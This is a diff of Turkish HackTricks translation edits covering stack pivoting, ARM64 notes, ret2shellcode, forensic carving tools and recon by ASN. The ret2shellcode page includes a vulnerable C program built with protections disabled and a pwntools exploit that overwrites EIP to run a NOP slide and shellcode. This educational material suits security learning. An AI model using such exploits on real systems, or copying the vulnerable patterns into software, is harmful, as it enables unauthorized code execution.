		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 | 
			
		||||
- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
 | 
			
		||||
- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini geri almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
 | 
			
		||||
- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
 | 
			
		||||
 | 
			
		||||
## ARM64
 | 
			
		||||
 | 
			
		||||
ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner.
 | 
			
		||||
ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** komutu SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner.
 | 
			
		||||
 | 
			
		||||
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığında bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır.
 | 
			
		||||
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır.
 | 
			
		||||
 | 
			
		||||
- prolog
 | 
			
		||||
 | 
			
		||||
@ -212,7 +212,7 @@ add sp, sp, 16
 | 
			
		||||
ret
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
> [!DİKKAT]
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve **`RET`** ile ona dönmektir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki** eşdeğerini görebilirsiniz:
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve buna karşılık gelen bir istismar yazma şekliniz ile birlikte **pwntools** kullanarak. 
 | 
			
		||||
**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte **pwntools** kullanarak nasıl bir istismar yazabileceğinize dair bilgiler.
 | 
			
		||||
 | 
			
		||||
### C Örneği: Savunmasız Bir Program
 | 
			
		||||
 | 
			
		||||
Basit bir savunmasız C programı örneği ile başlayalım:
 | 
			
		||||
Basit bir savunmasız C programı örneğiyle başlayalım:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -34,12 +34,12 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
```
 | 
			
		||||
- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
 | 
			
		||||
- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
 | 
			
		||||
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır.
 | 
			
		||||
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un yer alacağı bellek adresini tahmin etmeyi kolaylaştırır.
 | 
			
		||||
- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
 | 
			
		||||
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir exploit yazmanın yolu:
 | 
			
		||||
İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir istismar yazmanın yolu:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Bu script, bir **NOP kaydırma**, **shellcode** ve ardından **EIP**'yi NOP kaydırmaya işaret eden adresle yazan bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
 | 
			
		||||
Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
 | 
			
		||||
 | 
			
		||||
**NOP kaydırma** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, tamponunuzun başlangıç adresine artı bir offset ekleyerek NOP kaydırmasına ulaşacak şekilde ayarlayın.
 | 
			
		||||
**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın.
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, bu bölge çalıştırılabilir olmadığından shellcode'un yığın içinde çalıştırılmasını engeller.
 | 
			
		||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde, fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde, ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, shellcode'un stack içinde çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
 | 
			
		||||
 | 
			
		||||
## Diğer Örnekler ve Referanslar
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
 | 
			
		||||
- 64bit, yığın adres sızıntısı ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
 | 
			
		||||
- 32 bit, yığın sızıntısı ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
 | 
			
		||||
- 32 bit, yığın sızıntısı ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
 | 
			
		||||
- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 | 
			
		||||
- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek için ROP gadget ve yığında shellcode'a atla
 | 
			
		||||
- arm64, ASLR yok, stack'i çalıştırılabilir hale getirmek için ROP gadget ve stack'teki shellcode'a atla
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -1,8 +1,8 @@
 | 
			
		||||
# Dosya/Veri Oymacılığı ve Kurtarma Araçları
 | 
			
		||||
# File/Data Carving & Recovery Tools
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Oymacılık ve Kurtarma Araçları
 | 
			
		||||
## Carving & Recovery tools
 | 
			
		||||
 | 
			
		||||
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 | 
			
		||||
 | 
			
		||||
@ -12,9 +12,9 @@ Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan a
 | 
			
		||||
 | 
			
		||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
 | 
			
		||||
 | 
			
		||||
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
 | 
			
		||||
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
**Faydalı komutlar**:
 | 
			
		||||
**Kullanışlı komutlar**:
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt install binwalk #Insllation
 | 
			
		||||
binwalk file #Displays the embedded data in the given file
 | 
			
		||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 | 
			
		||||
```
 | 
			
		||||
### Foremost
 | 
			
		||||
 | 
			
		||||
Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
 | 
			
		||||
Başka bir yaygın araç, gizli dosyaları bulmak için **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install foremost
 | 
			
		||||
foremost -v -i file.img -o output
 | 
			
		||||
@ -31,7 +31,7 @@ foremost -v -i file.img -o output
 | 
			
		||||
```
 | 
			
		||||
### **Scalpel**
 | 
			
		||||
 | 
			
		||||
**Scalpel**, bir dosyanın içine gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir.
 | 
			
		||||
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install scalpel
 | 
			
		||||
scalpel file.img -o output
 | 
			
		||||
@ -40,11 +40,11 @@ scalpel file.img -o output
 | 
			
		||||
 | 
			
		||||
Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 | 
			
		||||
 | 
			
		||||
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** **çıkarır**. Yapmanız gereken tek şey:
 | 
			
		||||
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartır**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alır. Yapmanız gereken tek şey:
 | 
			
		||||
```
 | 
			
		||||
bulk_extractor memory.img -o out_folder
 | 
			
		||||
```
 | 
			
		||||
Tüm bilgileri (şifreler?) toplayan aracı **gezin**, **analiz et** ve **paketleri** (oku[ **Pcaps analizi**](../pcap-inspection/)), **garip alan adları** (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili) arayın.
 | 
			
		||||
Tüm bilgileri (şifreler?) toplayan aracın üzerinden geçin, **analiz** edin, **paketleri** (okuyun [**Pcaps analizi**](../pcap-inspection/index.html)), **garip alan adları** arayın (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili).
 | 
			
		||||
 | 
			
		||||
### PhotoRec
 | 
			
		||||
 | 
			
		||||
@ -58,14 +58,14 @@ GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya t
 | 
			
		||||
 | 
			
		||||
[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracı](https://binvis.io/#/) kontrol edin.
 | 
			
		||||
 | 
			
		||||
#### BinVis'in Özellikleri
 | 
			
		||||
#### BinVis Özellikleri
 | 
			
		||||
 | 
			
		||||
- Görsel ve aktif **yapı görüntüleyici**
 | 
			
		||||
- Farklı odak noktaları için birden fazla grafik
 | 
			
		||||
- Bir örneğin bölümlerine odaklanma
 | 
			
		||||
- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları** görme
 | 
			
		||||
- Dosyalar üzerinde kriptoanaliz için **desenler** elde etme
 | 
			
		||||
- **Paketleyici** veya kodlayıcı algoritmalarını **belirleme**
 | 
			
		||||
- **Packer** veya kodlayıcı algoritmalarını **belirleme**
 | 
			
		||||
- Desenler ile Steganografi **tanımlama**
 | 
			
		||||
- **Görsel** ikili fark analizi
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,12 +4,12 @@
 | 
			
		||||
 | 
			
		||||
## Autopsy
 | 
			
		||||
 | 
			
		||||
Görüntülerden dosyaları çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın.
 | 
			
		||||
Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. Bunu indirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın.
 | 
			
		||||
 | 
			
		||||
## Binwalk <a id="binwalk"></a>
 | 
			
		||||
 | 
			
		||||
**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir.  
 | 
			
		||||
**Faydalı komutlar**:
 | 
			
		||||
**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosyaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir.  
 | 
			
		||||
**Kullanışlı komutlar**:
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt install binwalk #Insllation
 | 
			
		||||
binwalk file #Displays the embedded data in the given file
 | 
			
		||||
@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 | 
			
		||||
```
 | 
			
		||||
## Foremost
 | 
			
		||||
 | 
			
		||||
Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
 | 
			
		||||
Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install foremost
 | 
			
		||||
foremost -v -i file.img -o output
 | 
			
		||||
@ -26,7 +26,7 @@ foremost -v -i file.img -o output
 | 
			
		||||
```
 | 
			
		||||
## **Scalpel**
 | 
			
		||||
 | 
			
		||||
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından \(_/etc/scalpel/scalpel.conf_\) yorum satırından çıkarmanız gerekecektir.
 | 
			
		||||
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install scalpel
 | 
			
		||||
scalpel file.img -o output
 | 
			
		||||
@ -39,7 +39,7 @@ Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabil
 | 
			
		||||
```text
 | 
			
		||||
bulk_extractor memory.img -o out_folder
 | 
			
		||||
```
 | 
			
		||||
Tüm **bilgileri** gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/)\), **garip alan adları** arayın \( **kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\).
 | 
			
		||||
Tüm bilgileri gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/index.html)\), **garip alan adları** arayın \(**kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\).
 | 
			
		||||
 | 
			
		||||
## PhotoRec
 | 
			
		||||
 | 
			
		||||
@ -53,7 +53,7 @@ GUI ve CLI sürümü ile gelir. PhotoRec'in aramasını istediğiniz **dosya tü
 | 
			
		||||
 | 
			
		||||
## FindAES
 | 
			
		||||
 | 
			
		||||
Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir.
 | 
			
		||||
Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker tarafından kullanılan 128, 192 ve 256 bit anahtarları bulabilir.
 | 
			
		||||
 | 
			
		||||
[Buradan](https://sourceforge.net/projects/findaes/) indirin.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -1,20 +1,20 @@
 | 
			
		||||
# Dosya/Veri Oymacılığı ve Kurtarma Araçları
 | 
			
		||||
# Dosya/Veri Oyması & Kurtarma Araçları
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Oymacılık ve Kurtarma Araçları
 | 
			
		||||
## Oymak & Kurtarma araçları
 | 
			
		||||
 | 
			
		||||
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 | 
			
		||||
 | 
			
		||||
### Autopsy
 | 
			
		||||
 | 
			
		||||
Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın.
 | 
			
		||||
Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için olmadığını unutmayın.
 | 
			
		||||
 | 
			
		||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
 | 
			
		||||
 | 
			
		||||
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` aracılığıyla kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
 | 
			
		||||
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
**Faydalı komutlar**:
 | 
			
		||||
**Kullanışlı komutlar**:
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt install binwalk #Insllation
 | 
			
		||||
binwalk file #Displays the embedded data in the given file
 | 
			
		||||
@ -31,7 +31,7 @@ foremost -v -i file.img -o output
 | 
			
		||||
```
 | 
			
		||||
### **Scalpel**
 | 
			
		||||
 | 
			
		||||
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir.
 | 
			
		||||
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install scalpel
 | 
			
		||||
scalpel file.img -o output
 | 
			
		||||
@ -44,7 +44,7 @@ Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabil
 | 
			
		||||
```
 | 
			
		||||
bulk_extractor memory.img -o out_folder
 | 
			
		||||
```
 | 
			
		||||
Tüm **bilgileri** (şifreler?) toplayan aracın üzerinden geçin, **paketleri analiz edin** (oku[ **Pcaps analizi**](../pcap-inspection/)), **garip alan adlarını** ( **kötü amaçlı yazılım** veya **var olmayan** alan adlarıyla ilgili) arayın.
 | 
			
		||||
Tüm **bilgileri** (şifreler?) **gözden geçirin**, **paketleri analiz edin** (okuyun [**Pcaps analizi**](../pcap-inspection/index.html)), **garip alan adlarını** (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili) arayın.
 | 
			
		||||
 | 
			
		||||
### PhotoRec
 | 
			
		||||
 | 
			
		||||
@ -56,22 +56,22 @@ GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya t
 | 
			
		||||
 | 
			
		||||
### binvis
 | 
			
		||||
 | 
			
		||||
[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracını](https://binvis.io/#/) kontrol edin.
 | 
			
		||||
[Kodunu](https://code.google.com/archive/p/binvis/) ve [web sayfası aracını](https://binvis.io/#/) kontrol edin.
 | 
			
		||||
 | 
			
		||||
#### BinVis'in Özellikleri
 | 
			
		||||
 | 
			
		||||
- Görsel ve aktif **yapı görüntüleyici**
 | 
			
		||||
- Farklı odak noktaları için birden fazla grafik
 | 
			
		||||
- Bir örneğin bölümlerine odaklanma
 | 
			
		||||
- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları görme**
 | 
			
		||||
- PE veya ELF yürütülebilir dosyalarda **dizeleri ve kaynakları** görme
 | 
			
		||||
- Dosyalar üzerinde kriptoanaliz için **desenler** elde etme
 | 
			
		||||
- **Paketleyici** veya kodlayıcı algoritmalarını **belirleme**
 | 
			
		||||
- **Packer** veya kodlayıcı algoritmalarını **belirleme**
 | 
			
		||||
- Desenler ile Steganografi **tanımlama**
 | 
			
		||||
- **Görsel** ikili fark analizi
 | 
			
		||||
 | 
			
		||||
BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**.
 | 
			
		||||
 | 
			
		||||
## Özel Veri Karıştırma Araçları
 | 
			
		||||
## Özel Veri Oymacılık Araçları
 | 
			
		||||
 | 
			
		||||
### FindAES
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -10,7 +10,7 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın
 | 
			
		||||
 | 
			
		||||
1. Ana şirketin satın almalarını bulmak, bu bize kapsam içindeki şirketleri verecektir.
 | 
			
		||||
2. Her şirketin ASN'sini (varsa) bulmak, bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
 | 
			
		||||
3. İlkine bağlı diğer girişleri (organizasyon isimleri, alan adları...) aramak için ters whois sorgulamaları kullanmak (bu yinelemeli olarak yapılabilir).
 | 
			
		||||
3. İlkine bağlı diğer girişleri (organizasyon adları, alan adları...) aramak için ters whois sorgulamaları kullanmak (bu yinelemeli olarak yapılabilir).
 | 
			
		||||
4. Diğer varlıkları aramak için shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanmak (bu `ssl` hilesi yinelemeli olarak yapılabilir).
 | 
			
		||||
 | 
			
		||||
### **Satın Almalar**
 | 
			
		||||
@ -26,15 +26,15 @@ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **
 | 
			
		||||
Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\
 | 
			
		||||
Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
 | 
			
		||||
 | 
			
		||||
**Şirketin herhangi bir ASN atayıp atamadığını bulmak** ve **IP aralıklarını** öğrenmek ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
 | 
			
		||||
**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de** arama yapabilirsiniz.\
 | 
			
		||||
